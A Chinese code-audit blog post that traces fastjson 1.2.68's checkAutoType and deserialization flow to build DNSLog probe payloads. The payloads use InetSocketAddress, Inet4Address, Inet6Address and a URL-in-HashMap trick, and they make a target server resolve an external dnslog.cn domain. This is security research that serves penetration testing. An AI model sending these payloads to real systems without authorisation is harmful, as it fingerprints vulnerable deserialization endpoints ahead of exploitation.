代码审计-fastjson的dnslog探测方式分析

代码审计-fastjson的dnslog探测方式分析,第1张

代码审计-fastjson的dnslog探测方式分析 前言

正常测试的时候,发现java后端对json处理都会去测试一下是否存在反序列化,但是后端处理json的组件很多,比如fastjson、jackson、gson等,怎么判断是否使用了fastjson呢?

有一个简便无危害的方式,就是通过dnslog来判断。

大佬们讨论的issue

说明

前面我们在分析的时候,会发现很多有一个变量token在进行判断,比如token == 12 或者 token == 14等,那这个token到底代表啥呢?在com.alibaba.fastjson.parser.JSONToken中我们可以找到答案

public static String name(int value) {
       switch(value) {

       case 1:

           return "error";

       case 2:

           return "int";

       case 3:

           return "float";

       case 4:

           return "string";

       case 5:

           return "iso8601";

       case 6:

           return "true";

       case 7:

           return "false";

       case 8:

           return "null";

       case 9:

           return "new";

       case 10:

           return "(";

       case 11:

           return ")";

       case 12:

           return "{";

       case 13:

           return "}";

       case 14:

           return "[";

       case 15:

           return "]";

       case 16:

           return ",";

       case 17:

           return ":";

       case 18:

           return "ident";

       case 19:

           return "fieldName";

       case 20:

           return "EOF";

       case 21:

           return "Set";

       case 22:

           return "TreeSet";

       case 23:

           return "undefined";

       case 24:

           return ";";

       case 25:

           return ".";

       case 26:

           return "hex";

       default:

           return "Unknown";

       }

   }

分析
  • fastjson 1.2.68

  • jdk 8u261

分析一下checkAutoType

这个黑名单检测绕过后,会来到如下几个if语句,写了个简单的注释

// 从ConcurrentHashMap类变量mapping中尝试获取这个类,mappings有点像维护的一个基础类库
clazz = TypeUtils.getClassFromMapping(typeName);

// 如果mapping里面没有这个类,就会尝试从this.deserializers.buckets这个IdentityHashMap类的Map中尝试获取clazz,这个有点像开发者维护的一个可信任类

if (clazz == null) {

    clazz = this.deserializers.findClass(typeName);

}

// 如果clazz还是为null,就会尝试从this.typeMapping中去获取类,但这个类默认是空的

if (clazz == null) {

    clazz = (Class)this.typeMapping.get(typeName);

}

// 如果在白名单,就直接加载这个clazz

if (internalWhite) {

    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);

}

// 如果clazz不为null,且不满足后续的判定条件,就直接返回clazz

if (clazz != null) {

    if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {

        throw new JSonException("type not match. " + typeName + " -> " + expectClass.getName());

    } else {

        return clazz;

    }

}

也就是说,如果我们能在上面的几个Map中找到一些可利用的类,那么默认情况下(关闭autoType的情况)就可以绕过黑白名单检查,直接返回clazz进入后续 *** 作

分析一下里面一共有哪些类

  • mappings

((ConcurrentHashMap) mappings).keySet()

  • this.buckets

Object[] a = new Object[9000];
for(int i = 0; i < this.buckets.length; ++i) {

           IdentityHashMap.Entry bucket = this.buckets[i];

           if (bucket != null) {

               for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {

                   Object key = bucket.key;

                   a[i] = key.name;

               }

           }

       }

return a;

  • this.typeMapping

默认为空

汇总一下所有类:

java.lang.IndexOutOfBoundsException
java.lang.Integer

java.lang.NoSuchFieldException

java.lang.Long

java.math.BigInteger

java.lang.linkageError

java.lang.StringIndexOutOfBoundsException

java.lang.StackOverflowError

long

java.lang.VerifyError

java.util.linkedHashMap

java.util.Calendar

java.lang.StackTraceElement

[long

java.lang.NoSuchMethodError

java.util.concurrent.atomic.AtomicLong

java.util.TreeMap

java.util.Date

java.lang.NoSuchFieldError

java.util.concurrent.atomic.AtomicInteger

java.lang.Short

java.util.Locale

java.lang.InstantiationException

java.lang.SecurityException

java.sql.Timestamp

java.util.concurrent.ConcurrentHashMap

java.util.UUID

java.lang.IllegalAccessError

com.alibaba.fastjson.JSONObject

[short

java.util.HashSet

[byte

java.lang.Boolean

java.sql.Date

short

java.lang.Object

java.util.BitSet

[char

java.lang.Float

java.math.BigDecimal

java.lang.Character

java.lang.InternalError

[double

byte

double

java.lang.Exception

java.lang.Double

[B

java.lang.TypeNotPresentException

[C

[D

java.text.SimpleDateFormat

[F

[I

java.util.TreeSet

[J

java.util.ArrayList

java.lang.IllegalMonitorStateException

com.alibaba.fastjson.JSONArray

[S

java.lang.String

java.lang.Number

java.util.linkedHashSet

[Z

java.lang.NegativeArraySizeException

java.lang.NumberFormatException

java.lang.RuntimeException

char

java.lang.OutOfMemoryError

java.lang.IllegalStateException

java.sql.Time

java.lang.NoSuchMethodException

java.util.Collections$EmptyMap

[boolean

float

java.lang.AutoCloseable

java.lang.NullPointerException

java.lang.Byte

[int

com.alibaba.fastjson.JSONPObject

java.lang.Cloneable

java.lang.IllegalAccessException

java.util.IdentityHashMap

java.util.HashMap

java.lang.NoClassDefFoundError

java.util.Hashtable

java.util.WeakHashMap

java.lang.IllegalThreadStateException

java.lang.IllegalArgumentException

int

java.util.concurrent.TimeUnit

boolean

java.lang.InstantiationError

java.lang.InterruptedException

[float

java.util.regex.Pattern

com.alibaba.fastjson.JSONArray

java.lang.StringBuilder

java.nio.charset.Charset

java.math.BigDecimal

char

java.io.File

java.lang.String

boolean

java.net.InetSocketAddress

java.lang.Character

java.lang.Number

java.util.concurrent.ConcurrentHashMap

javax.xml.datatype.XMLGregorianCalendar

java.net.Inet4Address

java.sql.Date

java.util.Collection

com.alibaba.fastjson.JSONPath

java.util.concurrent.atomic.AtomicIntegerArray

java.util.TreeMap

short

java.util.Currency

java.sql.Time

java.lang.Integer

double

java.lang.Class

java.math.BigInteger

com.alibaba.fastjson.JSONObject

java.util.concurrent.atomic.AtomicBoolean

java.util.concurrent.atomic.AtomicLongArray

java.util.HashMap

java.util.TimeZone

java.lang.Comparable

java.util.ArrayList

java.text.SimpleDateFormat

com.alibaba.fastjson.JSONPObject

java.lang.StringBuffer

byte

java.io.Closeable

java.lang.Double

java.util.concurrent.atomic.AtomicInteger

int

java.lang.Float

java.net.URL

java.util.List

java.lang.Object

java.sql.Timestamp

java.lang.StackTraceElement

java.net.Inet6Address

java.util.concurrent.atomic.AtomicLong

java.net.URI

java.util.UUID

java.lang.Cloneable

java.util.linkedHashMap

long

java.lang.Short

java.lang.Byte

[C

java.lang.ref.WeakReference

java.lang.ref.SoftReference

java.util.concurrent.ConcurrentMap

java.util.Calendar

java.util.Date

java.util.Locale

java.lang.Long

java.util.Map

java.io.Serializable

java.util.concurrent.atomic.AtomicReference

java.lang.Boolean

float

挖掘

既然已经拿到这些类了,我们大概筛选一下哪些是可以用的(这里筛选的是java.net.xxx的,因为带net的几乎都和网络相关可以发起请求)

java.net.InetSocketAddress
java.net.Inet4Address

java.net.URL

java.net.Inet6Address

java.net.URI

那我们从第一个开始

java.net.InetSocketAddress

初始payload

{"@type":"java.net.InetSocketAddress", "a":"b"}

通过checkAutoType后,成功按照我们的预期返回

然后跟到371行,执行反序列化 *** 纵,跳过这一步会直接抛出错误异常,所以我们跟进

跟进后,判断类,通过

开始判断token,这个时候我们的token是16,即,,不等于8,进入else

来到了parser.accept(token)后,不知道这个函数干啥的,跟进一下,发现原来是判断当前的token是不是传入的token,很明显这里我们是16不是12,所以会抛出异常。

那我们修改一下payload,给他提供一个 {,也就是token=12

{"@type":"java.net.InetSocketAddress"{, "a":"b"}

这个时候我们就能成功通过accept这个函数了,继续向下

发现有个变量className,下方要求他等于address,且期望它下一位的token是17(:)

那我们看看className是怎么得来的,跟进stringVal

发现这就是一个字符串切割函数,this为我们输入的字符串,因为this.hasSpecial为false

this.np就是当前这个字符串现在的游标位置,而this.sp则是切割的长度,我们再看下这个this.sp是怎么变得

前期阶段,是统计2个"中间的长度的,方便后面切割

后面估计也差不多,发现在进入反序列化过后,paper.accept的时候,会调用nextToken,其中会用到this.sp

跟一下发现,这个字符就是我们payload中{后面的,,期望一个",但是我们传入的是,,所以this.sp就等于0了

所以还需要增加一对",来增加this.sp的值,达到切割字符串的目的

{"@type":"java.net.InetSocketAddress"{"aaa", "a":"b"}

更换payload后,成功通过上方的判断,进入this.scanString(),这里面this.sp++会判断我们输入的字符串长度

此时this.sp问题解决了,我们继续回到lexer.stringVal(),跟进,可以看到现在切割出来的字符串,就是我们传入的aaa

继续往后,发现className要等于address,所以给我们的aaa改成address即可,此外期望token是17,那还需要加一个:

所以修改后的payload

{"@type":"java.net.InetSocketAddress"{"address":"aaa", "a":"b"}

一路顺利,到了parser.parseObject这里会进行类型转换为InetAddress

又是一路顺利,到了deserializer.deserialze,只不过这次传入的Type是InetAddress

又回到了熟悉的地方

然后一顿调,抛出异常了

回看了一下,原来是这个地方要求是16(:),而我们是4(String)。。。

那哪个地方的String出问题了呢?

分析一下当前游标的位置,发现就是"address":后面应该是个,,而不是String

所以再改payload

{"@type":"java.net.InetSocketAddress"{"address":, "a":"b"}

又回到刚才的地方,这次过了,但是要求lexer.stringVal()为val

熟悉的函数,刚才我们分析过了,就是需要一个"xxx",从上面也可以看出来"a"是我们后面的键值对中的键

那我们给a改成val

{"@type":"java.net.InetSocketAddress"{"address":, "val":"b"}

然后回到刚才的条件,继续向后,都是满足的,我们payload中val的值赋给了objVal

类型转换,赋值给strVal

返回InetAddress.getByName(strVal)

而InetAddress.getByName会尝试通过域名获取IP

所以给strVal的值设置为dnslog的URL即可

最终Payload

{"@type":"java.net.InetSocketAddress"{"address":, "val":"enst5r.dnslog.cn"}

成功

最后小小的总结一下:就是整个过程中,缺什么给他补什么

java.net.Inet4Address

初始payload

{"@type":"java.net.Inet4Address", "a":"b"}

运行,经过checkAutoType后反序列化,和上面一样的错,需要val,而此时的值是a

我们给a换成val就行了

{"@type":"java.net.Inet4Address", "val":"b"}

最后解析的时候,一样的方法,InetAddress.getByName(strVal)

最终POC

{"@type":"java.net.Inet4Address", "val":"dnslog"}

java.net.Inet6Address

看了下,和 java.net.Inet4Address 一样,就不再写了

{"@type":"java.net.Inet6Address", "val":"dnslog"}

java.net.URL

这个就不能直接来硬的了,根据我们之前分析过的ysoserial#URLDNS这条链,如果将一个URL对象放置到HashMap中,那么在进行计算hashcode的时候,会触发dnslog请求

所以我们让fastjson给对象反序列化为URL对象的后,再把它放到HashMap中即可

{{"@type":"java.net.URL", "val":"http://8fhj7r.dnslog.cn"}:"a"}

下断点分析,fastjson给前面还原成了URL对象,当做了key

然后继续跟,发现使用put将其添加到HashMap中,所以dnslog收到了请求

java.net.URI

  1. 不能和URL类类似似使用HashMap计算key的hashCode方法去发起请求

  2. 内部也没有类似的发起请求的方法

所以目前没找到利用方法emmmmm

总结

还有一些畸形的payload,可以去前言里面看看issue,原理都差不多

只是大佬们对fastjson的解析流程真的理解太透彻了,羡慕了

参考文献

  • 通过dnslog探测fastjson的几种方法

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/5671683.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存